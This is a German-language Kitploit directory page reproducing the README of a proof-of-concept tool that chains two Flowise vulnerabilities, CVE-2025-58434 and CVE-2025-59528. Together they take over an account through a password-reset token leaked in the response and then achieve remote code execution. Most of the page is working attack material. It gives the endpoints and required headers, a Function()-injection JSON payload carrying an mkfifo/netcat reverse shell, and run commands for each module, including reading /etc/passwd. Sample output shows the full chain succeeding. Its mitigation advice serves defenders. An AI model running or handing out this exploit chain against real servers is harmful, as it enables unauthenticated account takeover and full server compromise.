Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-58434-AND-59528-POC — Combined PoC for CVE-2025-28434 and CVE-2025-59528 | Kitploit
Tools/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & EducationRemote Access ToolPayload Development

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
kartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

Combined PoC for CVE-2025-28434 and CVE-2025-59528

Repository anzeigen
19vor 4 MonatenNoch nicht geprüft

Flowise Dual CVE PoC — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ Nur für Bildungszwecke und autorisierte Sicherheitsforschung.
Die Ausführung dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine schriftliche Genehmigung zum Testen haben, ist illegal.


Inhaltsverzeichnis

  • Übersicht
  • Details zu den Sicherheitslücken
    • CVE-2025-58434 – Account-Übernahme
    • CVE-2025-59528 – Remote-Code-Ausführung
  • Vollständige Angriffskette
  • Betroffene Versionen
  • Repository-Struktur
  • Voraussetzungen
  • Installation
  • Verwendung
    • Standardverhalten
    • Hilfe-Bildschirm
    • Kettenmodus
    • Modul – ATO
    • Modul – Login
    • Modul – RCE
  • Flag-Referenz
  • Reverse Shell vs. eigener Befehl
  • Beispielausgabe
  • Abhilfe
  • Offenlegungszeitplan
  • Referenzen
  • Haftungsausschluss

Übersicht

Dieses Repository kombiniert zwei kritische Sicherheitslücken in Flowise zu einem einzigen, modularen PoC-Tool.

Die beiden Schwachstellen verketten sich natürlich: CVE-2025-58434 ermöglicht eine nicht authentifizierte Account-Übernahme, was die Authentifizierungsanforderung für CVE-2025-59528 erfüllt – und in einem einzigen automatisierten Durchlauf nicht authentifizierte RCE erreicht.


Details zu den Sicherheitslücken

CVE-2025-58434 – Account-Übernahme

Grundursache: Der Endpunkt forgot-password gibt den Passwort-Reset-Token (tempToken) direkt im HTTP-Antworttext zurück, anstatt ihn nur per E-Mail zu senden.

Angriffsschritte:

  1. POST /api/v1/account/forgot-password mit einer beliebigen registrierten E-Mail
  2. tempToken aus der JSON-Antwort auslesen – kein E-Mail-Zugriff erforderlich
  3. POST /api/v1/account/reset-password mit dem durchgesickerten Token → neues Passwort setzen
  4. Als Opfer anmelden

Durchgesickerte Antwort (gekürzt):

root@kitploit:~
{
  "user": {
    "email": "[email protected]",
    "tempToken": "LEAKED_TOKEN_HERE",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

CVE-2025-59528 – Remote-Code-Ausführung

Grundursache: Der Knoten CustomMCP übergibt benutzergesteuertes mcpServerConfig direkt an den Function()-Konstruktor von JavaScript, ohne Bereinigung. Da Flowise in Node.js läuft, hat injizierter Code vollständigen Zugriff auf child_process, fs und alle Node.js-Builtins.

Verwundbarer Codepfad:

root@kitploit:~
POST /api/v1/node-load-method/customMCP
  -> convertToValidJSONString()
    -> Function('return ' + mcpServerConfig)()   ← unbereinigte Benutzereingabe

Erforderliche Header:

root@kitploit:~
Content-Type:   application/json
x-request-from: internal
Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>

Standard-Injektionspayload (Reverse Shell):

root@kitploit:~
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
  }
}

Hinweis: Reverse-Shell-Payloads verwenden cp.exec() (asynchron / Fire-and-Forget), sodass die HTTP-Anfrage sofort zurückkehrt und das Tool nicht aus Zeitüberschreitung ausfällt. Normale Befehle verwenden cp.execSync() und geben die Ausgabe inline zurück.


Vollständige Angriffskette

root@kitploit:~
Attacker                              Flowise API
   │                                      │
   │  [CVE-2025-58434]                    │
   │  POST /forgot-password {email}       │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 { tempToken: "abc..." }         │  ← token leaked in response
   │                                      │
   │  POST /reset-password                │
   │  {email, tempToken, newPassword}     │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 OK (tempToken cleared)          │  ← ATO complete
   │                                      │
   │  [CVE-2025-59528]                    │
   │  POST /auth/login {email, newPass}   │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  200 OK + Set-Cookie: token=...      │  ← cookies extracted
   │                                      │
   │  POST /node-load-method/customMCP    │
   │  {mcpServerConfig: <js-revshell>}    │
   │─────────────────────────────────────►│
   │                              [exec() fires in background]
   │◄─────────────────────────────────────│
   │  200 {"shell_fired"}                 │
   │                                      │
   Attacker's nc listener ←─────────────── Server connects back
   ✓  Full RCE from zero credentials

Betroffene Versionen

KomponenteStatus
Flowise Cloud (cloud.flowiseai.com)Von CVE-2025-58434 betroffen
Flowise selbst gehostet (alle Versionen vor dem Patch)Von beiden CVEs betroffen

Weitere Informationen finden Sie in den offiziellen Flowise-Sicherheitsadvisories für die Versionen mit Patch.


Repository-Struktur

root@kitploit:~
flowise-dual-cve-poc/
├── flowise_poc.py      # Haupt-PoC – alle Module + Kettenmodus
├── requirements.txt    # Python-Abhängigkeiten
├── README.md           # Diese Datei
└── DISCLAIMER.md       # Vollständiger rechtlicher Hinweis

Voraussetzungen

  • Python 3.7+
  • requests-Bibliothek

Installation

root@kitploit:~
git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt

Verwendung

Standardverhalten

Es ist kein Modus-Flag erforderlich. Wenn Sie das Skript ohne --chain oder --module ausführen, läuft es automatisch im vollständigen Kettenmodus. Der Standard-RCE-Payload ist eine Reverse Shell – geben Sie einfach --lhost und --lport an.

root@kitploit:~
# Minimale Ausführung – vollständige Kette + Reverse Shell
python3 flowise_poc.py \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 \
  --lport 4444

Starten Sie Ihren Listener vor der Ausführung:

root@kitploit:~
nc -lvnp 4444

Hilfe-Bildschirm

root@kitploit:~
python3 flowise_poc.py -h

Kettenmodus

Führt alle vier Schritte Ende-zu-Ende aus: Token durchsickern lassen → Passwort zurücksetzen → Anmelden → RCE.

root@kitploit:~
# Reverse Shell (Standard-Payload)
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 --lport 4444

# Eigener Befehl anstelle von Reverse Shell
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -c "cat /etc/passwd"

# Benutzerdefiniertes ATO-Passwort + Reverse Shell
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "MyCustomPass1!" \
  --lhost 10.10.16.35 --lport 9001

Modul – ATO

Lässt den tempToken durchsickern und setzt das Passwort des Kontos zurück. Stoppt vor Login/RCE.

root@kitploit:~
# Standard-Neues-Passwort
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected]

# Benutzerdefiniertes Neues-Passwort
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "NewPassword2025!"

# Rohe JSON-Antwort ausgeben
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] --json-output

Modul – Login

Authentifizieren und die drei Sitzungs-Cookies für die manuelle Verwendung extrahieren.

root@kitploit:~
python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123"

# JSON-Ausgabe für Skripterstellung
python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123" --json-output

Modul – RCE

Auf dem Server ausführen. Führt automatisch einen Login durch, wenn --token nicht angegeben ist.

root@kitploit:~
# Reverse Shell – automatischer Login
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  --lhost 10.10.16.35 --lport 4444

# Eigener Befehl – automatischer Login
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  -c "id"

# Manueller Token – Reverse Shell
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --lhost 10.10.16.35 --lport 4444

# Alle drei Cookies manuell
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGci..." \
  --refresh-token "eyJhbGci..." \
  --connect-sid "s%3A4rey2nuk..." \
  -c "ls /root"

Flag-Referenz

Modus (alle optional – Standard ist --chain)

FlagBeschreibung
--chainVollständige Kette: ATO → Login → RCE
--module atoNur Account-Übernahme

Ziel

FlagKurzBeschreibungErforderlich
--url-uBasis-URL der Flowise-Instanz

ATO-Optionen

FlagKurzBeschreibungStandard
--new-password-pPasswort, das nach ATO für das Opferkonto gesetzt wirdFlowise@Pwn3d2025!

Authentifizierungsoptionen

RCE-Optionen

Sonstige

FlagKurzBeschreibungStandard

Reverse Shell vs. eigener Befehl

Das Skript wählt automatisch den richtigen Ausführungsmodus:

Asynchrone Ausführung bedeutet, dass die HTTP-Anfrage sofort abgeschlossen wird – keine Timeout-Fehler bei Reverse-Shell-Payloads.


Beispielausgabe

root@kitploit:~
  [Step 1] [CVE-2025-58434] Requesting forgot-password token ...
  [*] HTTP 201
  ────────────────────────────────────────────────────────────────────
    LEAKED ACCOUNT DATA
  ────────────────────────────────────────────────────────────────────
  tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
  tokenExpiry   : 2026-04-13T05:14:17.621Z
  ────────────────────────────────────────────────────────────────────
  [+] VULNERABLE — token disclosed without authentication!

  [Step 2] [CVE-2025-58434] Resetting password → Flowise@Pwn3d2025!
  [*] HTTP 201
  [+] Password reset SUCCESSFUL (tempToken cleared)
  [+] Account takeover complete → [email protected] / Flowise@Pwn3d2025!

  [Step 3] [Auth] Logging in to extract session cookies ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    EXTRACTED SESSION COOKIES
  ────────────────────────────────────────────────────────────────────
  token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
  ────────────────────────────────────────────────────────────────────

  [Step 4] [CVE-2025-59528] Executing RCE via CustomMCP ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    RCE RESULT
  ────────────────────────────────────────────────────────────────────
  Mode    : Reverse Shell
  LHOST   : 10.10.16.35
  LPORT   : 4444
  [+] Reverse shell payload fired!
  [!] Waiting for connection on 10.10.16.35:4444 ...
  [!] Make sure your listener is running: nc -lvnp 4444
  ────────────────────────────────────────────────────────────────────
  [+] CHAIN COMPLETE

Abhilfe

Für CVE-2025-58434

  • Token niemals in API-Antworten zurückgeben. Senden Sie den tempToken nur per registrierter E-Mail.
  • Geben Sie eine generische Erfolgsmeldung zurück, unabhängig davon, ob die E-Mail existiert (verhindert Aufzählung).
  • Machen Sie Token einmal verwendbar, kurzlebig (≤15 Min.) und an den Anforderungskontext gebunden.
  • Ratenbegrenzung für den Endpunkt forgot-password.

Für CVE-2025-59528

  • Benutzereingaben niemals an Function(), eval() oder vm.runInThisContext() übergeben.
  • Parsen Sie mcpServerConfig als reine Daten (z. B. JSON.parse()) – führen Sie es niemals aus.
  • Falls dynamische Auswertung erforderlich ist, verwenden Sie eine isolierte Sandbox mit eingeschränktem Kontext.
  • Wenden Sie strenge Eingabevalidierung und eine Positivliste zulässiger Konfigurationsschlüssel an.

Allgemein

  • Patchen Sie sowohl Cloud- als auch selbst gehostete Bereitstellungen.
  • Aktivieren Sie Protokollierung und Alarmierung auf den Endpunkten für Passwort-Reset und node-load-method.
  • Erwägen Sie MFA für alle Administratorkonten.

Offenlegungszeitplan

DatumEreignis
2025-08-19CVE-2025-58434 entdeckt und gemeldet
TBDCVE-2025-59528 entdeckt und gemeldet
TBD

Referenzen

  • GHSA-wgpv-6j63-x5ph – CVE-2025-58434
  • GHSA-3gcm-f6qx-ff7p – CVE-2025-59528
  • Flowise GitHub
  • CWE-640: Schwacher Mechanismus zur Passwortwiederherstellung
  • CWE-94: Unzureichende Kontrolle der Codegenerierung

Haftungsausschluss

Nur für Bildungszwecke und autorisierte Penetrationstests.
Für den vollständigen rechtlichen Hinweis siehe DISCLAIMER.md.

Tool herunterladen
CVE-2025-58434CVE-2025-59528
TypAccount-ÜbernahmeRemote-Code-Ausführung
Authentifizierung erforderlichKeineJa (jedes gültige Konto)
CVSS9,8 KritischKritisch
BetroffenCloud + Selbst gehostetSelbst gehostet
--module login
Nur Login und Cookies extrahieren
--module rceNur RCE
Immer
--email-eZiel-/Login-E-MailImmer
FlagKurzBeschreibung
--login-password-PPasswort für das Login-Modul / RCE-Auto-Login
--token—Cookie token manuell angeben (überspringt Login)
--refresh-token—Cookie refreshToken manuell angeben
--connect-sid—Cookie connect.sid manuell angeben
FlagKurzBeschreibungStandard
--lhost—Angreifer-IP für Reverse Shell—
--lport—Angreifer-Port für Reverse Shell—
--command-cEigener OS-Befehl (überschreibt Revshell)id, wenn kein lhost/lport
--timeout-tHTTP-Timeout (Sekunden)15
--json-output-jRohe JSON-Antworten ausgebenfalse
SzenarioVerwendeter PayloadHTTP-Verhalten
--lhost + --lport (kein -c)mkfifo-Netcat-Einzeilercp.exec() – asynchron, gibt sofort zurück
-c "..." mit nc/mkfifo/bash -ials Revshell erkanntcp.exec() – asynchron, gibt sofort zurück
-c "id" oder ein anderer normaler BefehlBenutzerbefehlcp.execSync() – blockiert, gibt Ausgabe zurück
kein -c, kein --lhostidcp.execSync() – blockiert, gibt Ausgabe zurück
Bestätigung durch den Hersteller
TBDPatch veröffentlicht
TBDÖffentliche Offenlegung